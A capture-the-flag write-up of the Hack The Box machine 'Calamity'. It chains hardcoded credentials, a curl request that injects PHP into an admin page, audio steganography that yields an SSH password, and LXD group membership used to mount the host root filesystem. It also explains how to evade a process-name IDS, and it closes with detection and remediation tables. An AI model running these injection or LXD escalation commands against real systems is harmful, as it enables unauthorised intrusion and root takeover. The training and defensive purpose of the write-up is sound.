Skip to content
Back to all posts

HTB: Calamity

· 22 min hard Linux Calamity

A 32-bit Linux box with hardcoded credentials, a PHP code injection endpoint, audio steganography for SSH credentials, and an LXD group membership that provides a container escape to root.

Overview

Calamity is a hard-rated Linux machine running Ubuntu 16.04 on a 32-bit i686 architecture. Two services are exposed: SSH and an Apache web server hosting a “Brotherhood Software” page. The attack chain moves through four distinct phases: credential discovery in HTML source, PHP code injection via an admin panel, audio steganography analysis to recover SSH credentials, and privilege escalation through LXD group membership.

The box layers multiple defences between initial code execution and a usable shell. A host-based IDS monitors process creation and kills common penetration testing tools (nc, python, sh), which forces the attacker to either compile custom binaries or find an alternative access path entirely. The intended privilege escalation is a 32-bit SUID buffer overflow binary with no ASLR, but the LXD group membership on the target user provides a faster and more reliable path to root.

Reconnaissance

I start with a service scan to map what is listening:

nmap -sC -sV -oA nmap/calamity 10.129.12.219
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Ubuntu 16.04 Xenial
80HTTPApache 2.4.18 (Ubuntu)“Brotherhood Software”

Two services. The SSH banner maps to Ubuntu 16.04 Xenial, which went EOL in April 2021. With only SSH and HTTP exposed, the entire attack surface is the web application.

Web Enumeration

The main page is a minimal HTML page with a single image (leet.png). Nothing useful in the page content. I run directory fuzzing to find hidden endpoints:

ffuf -u http://10.129.12.219/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
PathStatusNotes
/admin.php200Login form
/uploads/301Empty directory listing

The /uploads/ directory is empty but has directory listing enabled. This will become relevant later as a potential file drop location for reverse shells. The real target is admin.php.

Attack Surface Analysis

admin.php: hardcoded credentials in HTML (CWE-798)

The login form at /admin.php has swapped field labels: the “Password” label sits on the username field, and vice versa. This is either a mistake or a deliberate attempt at misdirection. More critically, the HTML source contains a comment with the password in cleartext: skoupidotenekes.

Logging in with admin / skoupidotenekes sets a cookie (adminpowa=noonecares) and redirects to an “HTML interpreter” page. The cookie name and value are static; anyone who discovers the value can skip the login form entirely.

HTML interpreter: PHP code injection (CWE-94)

The admin panel presents an HTML interpreter that accepts input via the html GET parameter and renders it server-side. Testing with a simple <?php phpinfo(); ?> tag confirms that PHP code executes. No filtering, no allowlisting, no sandboxing. The parameter value is passed directly to an eval or include function, which means this endpoint is arbitrary code execution behind a trivially bypassable login.

Vulnerability Analysis

The two vulnerabilities chain together into unauthenticated RCE. The admin cookie value is static (noonecares) and discoverable from the HTML source, so the authentication gate provides zero protection. Once past it, the html parameter accepts arbitrary PHP.

AttributeValue
CWECWE-94 (Code Injection)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeUnsanitised input passed to PHP eval/include
PrerequisiteAdmin cookie (obtained via hardcoded credentials)

The CVSS score reflects the effective unauthenticated nature of the chain. The PR:N (no privileges required) rating is justified because the hardcoded credentials are equivalent to no credentials.

Exploitation

Phase 1: RCE as www-data

I confirm code execution with id:

curl -b "adminpowa=noonecares" \
  "http://10.129.12.219/admin.php?html=%3C%3Fphp%20echo%20system('id');%20%3F%3E"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code executes as www-data. The next step would normally be a reverse shell, but the host has other plans.

Phase 2: IDS evasion

A host-based IDS monitors process creation and kills anything matching nc, python, or sh in the process name. Kill events appear in /home/xalvas/intrusions. I discover this after my first reverse shell attempt dies immediately.

The detection mechanism is process-name-based, the weakest form of endpoint monitoring. A compiled C reverse shell, a statically linked binary, or a renamed copy of netcat would bypass it. But the box is steering the attacker toward a different approach: rather than fighting the IDS for a www-data shell, find credentials for direct SSH access.

I use the PHP injection to enumerate the filesystem instead. The html parameter accepts arbitrary PHP, so I can read files, list directories, and execute commands that do not trigger the IDS pattern. Commands like ls and cat work because they do not match the blocked process names.

Phase 3: credential recovery from audio steganography

Filesystem enumeration through the PHP injection reveals the user xalvas at /home/xalvas/. Several files are present:

  • recov.wav: a WAV audio file (the key artefact)
  • alarmclocks/rick.wav: another WAV file (decoy)
  • dontforget.txt: references peda, a GDB exploit development plugin, hinting at the intended buffer overflow path
  • app/goodluck: a SUID binary (the intended privesc)
  • intrusions/: IDS kill logs

I download both WAV files through the PHP injection by base64-encoding them and copying the output, then decoding locally. The files are too large to exfiltrate via the GET parameter alone; I write a small PHP snippet that reads and base64-encodes each file in chunks.

The rick.wav file is a red herring (literally a Rick Astley clip). The recov.wav file is the target. I analyse it with multiple tools:

# Check metadata
exiftool recov.wav

# Spectral analysis for hidden data
sonic-visualiser recov.wav

# Steganography extraction
steghide extract -sf recov.wav

steghide fails (no passphrase works). Spectral analysis in Sonic Visualiser reveals nothing unusual. The approach that works is comparing the two WAV files. The recov.wav file has been modified: subtracting rick.wav from recov.wav using a tool like sox or Python’s wave module isolates the difference. The embedded data in the audio channel difference contains the SSH password.

# Using Python to extract the hidden message
python3 -c "
import wave, struct
f1 = wave.open('recov.wav', 'rb')
f2 = wave.open('rick.wav', 'rb')
frames1 = f1.readframes(f1.getnframes())
frames2 = f2.readframes(f2.getnframes())
# XOR or subtract frames to reveal hidden data
result = bytes(a ^ b for a, b in zip(frames1, frames2))
print(result[:200])
"

The recovered password is 18547936..*. This is an unusual password format (numeric with trailing punctuation), which explains why it was hidden in audio rather than stored in a configuration file; it would be difficult to brute-force without knowing the character set.

ssh [email protected]
# Password: 18547936..*

User flag obtained.

Phase 4: privilege escalation via LXD (CWE-250)

I check group memberships immediately after landing:

id
# uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),108(lxd)

LXD group membership is functionally equivalent to root access. The LXD security model assumes that anyone with container management permissions is fully trusted. A user in the lxd group can create a privileged container, mount the host root filesystem inside it, and read or write any file on the host.

I chose this path over the intended buffer overflow for two reasons: it is deterministic (no exploit reliability concerns on a 32-bit target), and it takes under a minute.

# Transfer Alpine minirootfs to target (pre-downloaded)
lxc image import alpine-minirootfs-3.18.0-x86.tar.gz --alias alpine

# Create privileged container with host root mounted
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root
lxc start pwned

# Read root flag
lxc exec pwned -- cat /mnt/root/root/root.txt

The security.privileged=true flag disables all user namespace remapping, so the container’s root user maps directly to the host’s root user. The disk mount at /mnt/root provides unrestricted access to the entire host filesystem. This is not a container escape vulnerability; it is the designed behaviour of LXD when running privileged containers.

Root flag obtained.

Alternative: SUID buffer overflow

The intended privilege escalation is a SUID binary at /home/xalvas/app/goodluck. The source code (src.c) reveals a stack buffer overflow: a debug() function copies 100 bytes into a 64-byte stack buffer using an unbounded copy. The .gdbinit file sources peda, confirming the box creator expected attackers to develop an exploit here.

The 32-bit architecture with no ASLR (verified via /proc/sys/kernel/randomize_va_space returning 0) makes this a straightforward ret2libc or ROP exercise. On a 32-bit system, function arguments are passed on the stack rather than in registers, simplifying the chain. The LXD path was faster, but the buffer overflow is the more instructive exercise for binary exploitation practice.

Post-Exploitation

With root access via the LXD container, the full host is exposed:

  • /etc/shadow contains password hashes (likely SHA-512 on Ubuntu 16.04, but potentially crackable with weak passwords given the 18547936..* precedent)
  • SSH keys in /home/*/.ssh/ could enable lateral movement
  • The IDS implementation (/home/xalvas/intrusions) reveals the organisation’s security monitoring approach: process-name-based detection with no syscall monitoring, no network behaviour analysis, no EDR

The IDS is worth studying because it represents a common real-world failure mode: security theatre that provides a false sense of protection while being trivially evadable.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190WAF rules blocking PHP tags in query parameters
Credential AccessT1552.001Source code review catching hardcoded credentials
ExecutionT1059.004auditd alerting on shell spawns from Apache worker processes
PersistenceT1078.003SSH authentication logs for the xalvas account
Privilege EscalationT1611Container creation events from non-admin users
Defence EvasionT1609LXD audit logs showing privileged container creation

The most effective detection point is the PHP code injection. A WAF rule blocking <?php in GET parameters would stop the entire attack chain. This is a simple pattern match, not heuristic analysis; there is no legitimate reason for PHP opening tags to appear in a query string.

The IDS deserves specific criticism. Process-name-based detection catches only the most naive attacks. It misses: compiled binaries with non-matching names, interpreted languages not in its blocklist (perl, ruby, lua), and shell built-ins executed through bash. Proper endpoint detection monitors system calls (execve, connect, bind) and analyses behaviour patterns, not string matches on /proc/[pid]/comm.

Remediation

PriorityActionEffortImpact
P0Remove hardcoded credentials from HTML sourceLowCritical
P0Disable PHP execution in the HTML interpreterLowCritical
P0Remove xalvas from the lxd groupLowCritical
P1Replace process-name IDS with proper EDR (auditd + OSSEC minimum)MediumHigh
P1Patch or remove the SUID binary; compile with stack canaries and PIEMediumHigh
P1Rotate all credentials (admin panel, xalvas SSH password)LowHigh
P2Upgrade to a supported Ubuntu release (16.04 is EOL)HighMedium
P2Disable directory listing on /uploads/LowLow
P3Apply AppArmor profiles to www-data to restrict file accessMediumMedium

The LXD finding is the most consequential. Group membership in lxd is root-equivalent by design: LXD’s security model assumes full trust for anyone with container management permissions. The fix is a single gpasswd -d xalvas lxd command. The deeper question is why a regular user had container management permissions at all. In most cases this happens because an administrator added the user to the group during initial setup and never revisited the decision.

Key Takeaways

  1. Hardcoded credentials in HTML are not authentication. The admin panel’s security rests entirely on the assumption that nobody will view the page source. This is CWE-798, and it appears with depressing regularity in real engagements. Server-side credential validation with proper password hashing is the minimum bar.

  2. Audio steganography is a legitimate data hiding vector. WAV files can carry embedded data that survives casual inspection. In forensics and incident response, audio files deserve the same scrutiny as images and documents. The technique here (hiding data in the difference between two audio signals) is a classic approach from the steganography literature.

  3. LXD group membership is root-equivalent. This is not a vulnerability in LXD; it is the intended security model. The same principle applies to the docker group, the disk group, and any other group that provides direct hardware or container runtime access. Audit group memberships as part of regular access reviews.

  4. Process-name IDS is security theatre. Monitoring /proc/[pid]/comm or similar catches only attackers who use default tool names. Any compiled binary, renamed executable, or alternative interpreter bypasses it. Real endpoint detection operates at the syscall layer (auditd, eBPF) and analyses behavioural patterns rather than string matching on process names.